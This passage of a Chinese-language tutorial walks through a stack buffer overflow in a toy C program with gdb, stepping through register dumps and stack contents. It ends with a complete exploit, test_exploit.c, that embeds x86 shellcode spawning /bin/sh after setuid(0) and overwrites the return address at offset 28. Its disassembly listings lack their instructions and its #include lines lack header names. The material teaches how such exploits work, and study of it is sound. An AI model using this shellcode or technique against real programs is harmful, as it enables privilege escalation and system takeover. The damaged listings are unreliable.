0x080483dc
0x080483de
0x080483e1
0x080483e4
0x080483e9
0x080483eb
0x080483f2
0x080483f5
0x080483f8
0x080483fa
0x080483fd
0x08048400
0x08048403
0x08048408
0x0804840b
0x08048410
0x08048411
注意这一行
0x08048403
这一行是调用fun函数,而下一行的指令地址为:0x08048408,也就是说当fun调用完以后要返回0x08048408
在原程序的第14行设置断点
b 14
run AAAA
这时,程序装运行到函数调用之前,看一下寄存器的地址
i reg
eax 0xbffffaa7 -1073743193
ecx 0xbffff960 -1073743520
edx 0xbffff954 -1073743532
ebx 0x4014effc 1075113980
esp 0xbffff8c0 0xbffff8c0
ebp 0xbffff8c8 0xbffff8c8
esi 0x2 2
edi 0x401510fc 1075122428
eip 0x80483fd 0x80483fd
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针)
看一下esp里的数据
x/8x $esp
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
0xbffff8d0: 0x00000002 0xbffff954 0xbffff960 0x40037090
再看一下str的地址
print str
$1 = 0xbffffaa7 "AAAA"
因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。
然后单步执行程序后再看寄存器
si
si
si
i reg
eax 0xbffffaa7 -1073743193
ecx 0xbffff960 -1073743520
edx 0xbffff954 -1073743532
ebx 0x4014effc 1075113980
esp 0xbffff8ac 0xbffff8ac
ebp 0xbffff8c8 0xbffff8c8
esi 0x2 2
edi 0x401510fc 1075122428
eip 0x80483a8 0x80483a8
eflags 0x200396 2098070
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
我们发现esp的值变了,看看压进去了些什么东西
x/8x $esp
0xbffff8ac: 0x08048408 0xbffffaa7 0x4014effc 0x00000000
0xbffff8bc: 0x4014effc 0xbffffaa7 0x00000000 0xbffff928
这里我很可以很清楚的看到调用过程
首先把参数地址0xbffffaa7压入栈内,然后把返回地址0x08048408压入栈内
接着往下看
我们把fun函数也反汇编出来
disas fun
0x080483a8
0x080483a9
0x080483ab
0x080483ae
0x080483b1
0x080483b4
0x080483b7
0x080483b8
0x080483bd
0x080483c0
0x080483c3
0x080483c6
0x080483c7
0x080483cc
0x080483d1
0x080483d4
0x080483d9
0x080483da
再继续往下执行
si
si
si
x/16x $esp
0xbffff890: 0x08048414 0x080495d0 0xbffff8a8 0x080482b5
0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408
0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
print &buffer
$7 = (char (*)[10]) 0xbffff890
这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。
程序继续执行
next
x/16x $esp
0xbffff890: 0x41414141 0x08049500 0xbffff8a8 0x080482b5
0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408
0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了
4个"A"A的ACSII码为41
3.其于栈的缓冲区溢出
我们还是接着这个程序来分析
我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时
向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。
如果向buffer里拷贝的A的长度够长,把返回地址0x08048408覆盖了的话程序就会出错。一般会报段
错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。
4.其于栈的缓冲区溢出利用。
既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode
的入口,那么就可以利用这个有溢出的程序来获得一个shell。
下面我们就写一个exploit来攻击这个程序
//test_exploit.c
#include
#include
char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
char str[]="AAAAAAAAAA"
"AAAAAAAAAA"
"AAAAAAAAAA"
"AAAAA";
*(int *)&str[28]=(int)shellCode;
char *arg[]={"./test",str,NULL};
execve(arg[0],arg,NULL);
return 0;
}
这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在
距buffer偏移为28的地方。
编译这个程序
gcc -g -o test_exploit test_exploit.c
执行,哈哈,我们期待的shellCode出现了。